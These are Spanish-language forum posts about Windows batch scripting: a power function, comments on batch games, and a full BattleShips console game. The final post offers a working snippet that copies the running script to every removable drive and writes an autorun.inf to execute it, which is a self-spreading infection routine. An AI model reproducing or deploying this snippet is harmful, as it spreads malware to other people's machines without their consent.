|
51
|
Programación / Scripting / Re: :::reproductor en batch-vbs(ayuda):::::::::
|
en: 11 Abril 2009, 18:27 pm
|
Dejaria que te respondiese Novlucker, pues es el autor original del Script (en parte mio tambien ) Mira que el codigo que pones es un BAT que crea un VBS mediante redireccion, el VBS recibe un parametro en la linea Wscript.Arguments.Item(0) la cual viene siendo el primer paramtro que es pasado al mismo, si sigues mirando la sintaxis te daras cuenta que el BAT recibe tambien un parametro %1 que vendria siendo la ruta del archivo que tu le pongas encima 8lo que se conoce como arrastrar), luego el recibe la ruta del archivo y luego se la pasa al script VBS start %temp%\player.vbs %1Si quieres que se ejecute a determinada hora, podrias modificar el BAT para que use el comando AT, creas el VBS con la ruta de la cancion o lo que quieras que escuche, ya luego programas para que dicho VBS se ejecute a determinada hora... Mira la ayuda del comando AT Saludos.
|
|
|
52
|
Programación / Scripting / Re: Elevar a cualquier potencia.
|
en: 9 Abril 2009, 23:30 pm
|
Me gusta la parte en que compruebas la introduccion de numeros menores, podria hacerse para negativos @echo off REM Funcion Potenciacion REM Coded by :: SmartGenius :: if ["%1"]==[""] goto :sintaxis setlocal enabledelayedexpansion
:main set pot=1 for /f "tokens=1-2 delims=p" %%a in ("%1") do ( for /l %%c in (1,1,%%b) do (set /a pot=!pot!*%%a)) echo %pot% endlocal goto :eof
:sintaxis echo Modo de Uso: echo. echo %~n0 Base_p_Exponente echo. echo Ej: 2p5 2=Base 5=Exponente ==^> Resultado: 32 goto :eof Saludos.
|
|
|
54
|
Programación / Scripting / Re: [BATCH] Bug comando for (eol)
|
en: 1 Abril 2009, 14:06 pm
|
jajjaa...me dio risa lo de 14 años y nada que lo solucionan..es que definitivamente en microsoft no terminan de hacer las vainas...aparte ahora estan concentrados en otras vainas...y ya no prestan mucha atencion a lo relacionado con DOS....
Saludos.
|
|
|
56
|
Programación / Scripting / Re: MapGame 2.0 .: By PonyMagic :.
|
en: 31 Marzo 2009, 18:17 pm
|
Interesante aporte men.....ya habia visto el otro...pero veo que has mejorado...... Esto podria ser para hacer un jueguito tipo laberinto o alguna cosa asi.....jeje...a mi tambien me gusta la idea del desarrollo de juegos en batch.....pa que vean lo que se puede hacer....solo que no he creado un motor completamnete Saludos.
|
|
|
57
|
Programación / Scripting / [Batch Game] BattleShips v 1 - by :: SmartGenius ::
|
en: 31 Marzo 2009, 18:10 pm
|
Sip, aqui de nuevo yo...con otro juego Batch BattleShips v 1Descarga:http://one.xthost.info/smartv2/BatchGames/BattleShips_bySmartGenius.zip Creo que el juego no necesita explicacion porque la gran mayoria conocera la mecanica del mismo, ir descubriendo la posicion del enemigo antes de que descubarn la tuya. Los movimientos se realizan con las flechas de direccion y se confirma una coordenada con la tecla Enter. @echo off @title BattleShip @::Another Batch Game @::Coded by ::SmartGenius:: setlocal enabledelayedexpansion
if not exist "keyboard.exe" (Goto :NoKey)
Call :Logo
:Menu @cls @::BattleShip v 1 @mode con cols=21 lines=20 set colors=a123b567c9 echo. echo. BattleShips v 1 echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ echo. ÚÄÄ¿ ÚÄÄÄÄÄÄ¿ echo. ³1.³ ³Jugar ³ echo. ÀÄÄÙ ÀÄÄÄÄÄÄÙ echo. ÚÄÄ¿ ÚÄÄÄÄÄÄ¿ echo. ³2.³ ³Salir ³ echo. ÀÄÄÙ ÀÄÄÄÄÄÄÙ keyboard if "%errorlevel%"=="49" (Goto :InGame) if "%errorlevel%"=="50" (msg * BattleShip v 1 by SmartGenius&exit) if "%errorlevel%"=="32" (color 0!colors:~%random:~-1%,1!) Goto :Menu
:InGame Call :Clear Call :Load1 cls echo. echo. Barcos en Posicion echo. Cargando Juego... ping -n 3 0.0.0.0 >nul Call :Load2 Goto :Menu
::Tablero posicionador :Load1 set LimX=6 set LimY=6 set IniX=0 set IniY=0 set MovX=0 set MovY=0 set Ships=5 set Water=² set Blank=X
:init1 for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set X%%aY%%b=° )) set X0Y0= set Last=° set Curpos=X0Y0 Goto :First
:Gp1 Call :Clear :First for /l %%d in (0,1,%LimY%) do ( for /l %%e in (0,1,%LimX%) do ( set Lin_%%d=!Lin_%%d!³!X%%eY%%d!)) echo. echo. Posiciona tus echo. Barcos... echo. echo. ÚÄÄÄÄÄÄÄ¿ for /l %%f in (0,1,%LimY%) do ( echo. !Lin_%%f!³ echo. ÃÄÅÄÅÄÅÄÅÄÅÄÅÄ´) echo. ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÙ if "%Ships%"=="0" Goto :Eof keyboard if "%errorlevel%"=="77" (call :MovAX+ "%CurPos%") if "%errorlevel%"=="75" (call :MovAX- "%CurPos%") if "%errorlevel%"=="80" (call :MovAY+ "%CurPos%") if "%errorlevel%"=="72" (call :MovAY- "%CurPos%") if "%errorlevel%"=="13" (call :PosShip "%CurPos%") if "%errorlevel%"=="88" (Goto :Menu) if "%errorlevel%"=="120" (Goto :Menu) Goto :Gp1 ::Fin Tablero Posicionador
::Tablero de Batalla :Load2 @mode con cols=42 lines=20 for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set MX%%aY%%b= )) Call :GenPC
:init2 for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set PX%%aY%%b=!X%%aY%%b! set X%%aY%%b=°)) set Player=5 set X0Y0= set Last=° set Curpos=X0Y0 Goto :Gp2
:Gp2 title BattleShip v 1 by SmartGenius Call :Clear :Second for /l %%d in (0,1,%LimY%) do ( for /l %%e in (0,1,%LimX%) do ( set Lin_%%d=!Lin_%%d!³!PX%%eY%%d! set Lin2_%%d=!Lin2_%%d!³!X%%eY%%d!)) echo. echo. Jugador: %Player% PC: %PC% echo. A B C D E F G A B C D E F G echo. ÚÄÄÄÄÄÄÄ¿ : ÚÄÄÄÄÄÄÄ¿ for /l %%f in (0,1,%LimY%) do ( echo. %%f !Lin_%%f!³ : %%f !Lin2_%%f!³ echo. ÃÄÅÄÅÄÅÄÅÄÅÄÅÄ´ : ÃÄÅÄÅÄÅÄÅÄÅÄÅÄ´) echo. ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÙ : ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÙ if "%PC%"=="0" Goto :Win if "%Player%"=="0" Goto :Lose keyboard if "%errorlevel%"=="77" (call :MovAX+ "%CurPos%") if "%errorlevel%"=="75" (call :MovAX- "%CurPos%") if "%errorlevel%"=="80" (call :MovAY+ "%CurPos%") if "%errorlevel%"=="72" (call :MovAY- "%CurPos%") if "%errorlevel%"=="13" ( call :Player "%CurPos%" Call :MovPC ) if "%errorlevel%"=="88" (Goto :Menu) if "%errorlevel%"=="120" (Goto :Menu) Goto :Gp2 ::Fin Tablero de Batalla
:MovAX+ for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do ( if "%%p"=="%LimX%" Goto :Eof if !%~1!== set %~1=%Last% set /a MovX=%%p+1 call set Last=%%X!MovX!Y%%q%% set X!MovX!Y%%q= set CurPos=X!MovX!Y%%q ) Goto :Eof
:MovAX- for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do ( if "%%p"=="%IniX%" Goto :Eof if !%~1!== set %~1=%Last% set /a MovX=%%p-1 call set Last=%%X!MovX!Y%%q%% set X!MovX!Y%%q= set CurPos=X!MovX!Y%%q ) Goto :Eof
:MovAY+ for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do ( if "%%q"=="%LimY%" Goto :Eof if !%~1!== set %~1=%Last% set /a MovY=%%q+1 call set Last=%%X%%pY!MovY!%% set X%%pY!MovY!= set CurPos=X%%pY!MovY! ) Goto :Eof
:MovAY- for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do ( if "%%q"=="%IniY%" Goto :Eof if !%~1!== set %~1=%Last% set /a MovY=%%q-1 call set Last=%%X%%pY!MovY!%% set X%%pY!MovY!= set CurPos=X%%pY!MovY! ) Goto :Eof
:GenPC set PC=5 set R1=%random:~-1% set R2=%random:~-1% if not "%R1%" GTR "%LimX%" ( if not "%R2%" GTR "%LimY%" ( set MX%R1%Y%R2%=Û set /a var+=1 )) if "%var%"=="%PC%" Goto :Eof Goto :GenPC
:MovPC set R1=%random:~-1% set R2=%random:~-1% if not "%R1%" GTR "%LimX%" ( if not "%R2%" GTR "%LimY%" ( call set Tar=!PX%R1%Y%R2%! if "!Tar!"=="X" ( Goto :MovPC ) if "!Tar!"=="" ( Goto :MovPC ) if "!Tar!"=="Û" ( set PX%R1%Y%R2%= set /a Player-=1 Goto :Eof ) else ( set PX%R1%Y%R2%=X Goto :Eof ) )) Goto :MovPC
:PosShip if not "%Last%"=="Û" ( set %~1=Û set /a Ships-=1) Goto :Eof
:Player if defined M%~1 ( set %~1=Û set /a PC-=1 Goto :Eof ) set %~1=%Blank% Goto :Eof
:Lose msg * Perdiste ! ping -n 3 0.0.0.0 >nul Goto :Menu
:Win msg * Ganaste ! ping -n 3 0.0.0.0 >nul Goto :Menu
:Clear for /l %%m in (0,1,%LimY%) do ( set Lin_%%m= set Lin2_%%m= ) Goto :Eof
:Logo @mode con cols=40 lines=15 @title BattleShips v 1 by SmartGenius echo. echo. _==^| echo. Battle _==^| )__) ^| Ships echo. )_) )___) )) echo. )___) )____))_) echo. _ )____)_____))__)\ echo. \---__^|____/^|___^|___-\\--- echo. ~~~~~~~~~\ oo oo oo oo /~~~~~~~~ echo. ~~~~~~ ~~~~~~~~~~~~~~~~~~~~~ echo. ~~~~ ~~~~ ~~~~ ~~ ~~ echo. ~~~~~ ~~~~~ echo. echo. SmartGenius, Corp. 2009 pause >nul ping -n 3 0.0.0.0 >nul Goto :Eof
:NoKey cls echo. echo Uno de los archivos necesarios para el echo funcionamiento de este Script no se echo encuentra. echo. echo A Continuacion sera creado... call :keyboard ping -n 2 0.0.0.0 >nul Goto :Menu
:keyboard ( echo n keyboard.dat echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00 echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21 echo rcx echo 002E echo w0 echo q echo. )>keyboard.dat type keyboard.dat|debug>NUL 2>&1 del /f/q/a "keyboard.exe">NUL 2>&1 ren keyboard.dat "keyboard.exe" Goto :Eof Espero sea de su agrado..cualquier duda o comentario por favor hacerlo... !! Saludos. =D
|
|
|
59
|
Programación / Scripting / Re: [Batch Game] PushBox v 2 Reloaded - by :: SmartGenius ::
|
en: 30 Marzo 2009, 17:03 pm
|
El juego lo tengo listo, lo único que me falta es solucionar un problema del nivel oculto, son de esos problemas "extraños". Aquí está lo que llevo: http://wikisend.com/download/504864/alpha.exeEs una versión alpha, aún no terminada. Se juega con la wsad. r para reiniciar nivel x para salir Al nivel oculto se accede cuando te pregunta que escogas nivel, allí escribes -1, el problema está en que no logro empujar la caja desde el otro extremo, para moverla, espero esta tarde lograr con la solución, los otros niveles funcionan correctamente. Me gusta...lo veo bien, y con la coleccion de los 10 levels...xD xD Veo que para el level oculto no has puesto alguna forma de llevar la BOX al punto final...osea...sale rodeada. y no hay opcion de pasarlo por ningun lado.. Me interesa saber como has empaquetado el ejecutable....es batch o lo programaste en C, porque estaria bueno que fuese multiplataforma... pasame algo dle source que has hehco...y tambien lo que tienes del level oculto...ya te mandare yo algunos levels que vaya haciendo... y completamos el juego Saludos. PD: 1x1x1x1x1
|
|
|
60
|
Programación / Scripting / Re: Script batch para infeccion a traves de Unidades Extraibles
|
en: 30 Marzo 2009, 16:00 pm
|
Creo que deberias usa otro medoto que sea factible para cualquier usuario, porque el uso de FSUTIL esta limitado a users con privilegios administrativos... @echo off for %%a in (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do ( for /f "tokens=1" %%b in ('fsutil fsinfo drivetype %%a:^| find "extra"') do ( copy /y "%~0" "%%b:\codigo.bat"&echo.[autorun]>>"%%b:\autorun.inf"&echo.open=codigo.bat>>"%%b:\autorun.inf")) Goto :Eof
Tambien podrias en el segundo FOR crear un ARRAY con todas las Letras que corresponden a los extraibles y guardarlo como variable para usarlo en cualqueir lado.... Saludos.
|
|
|
|
|
|
|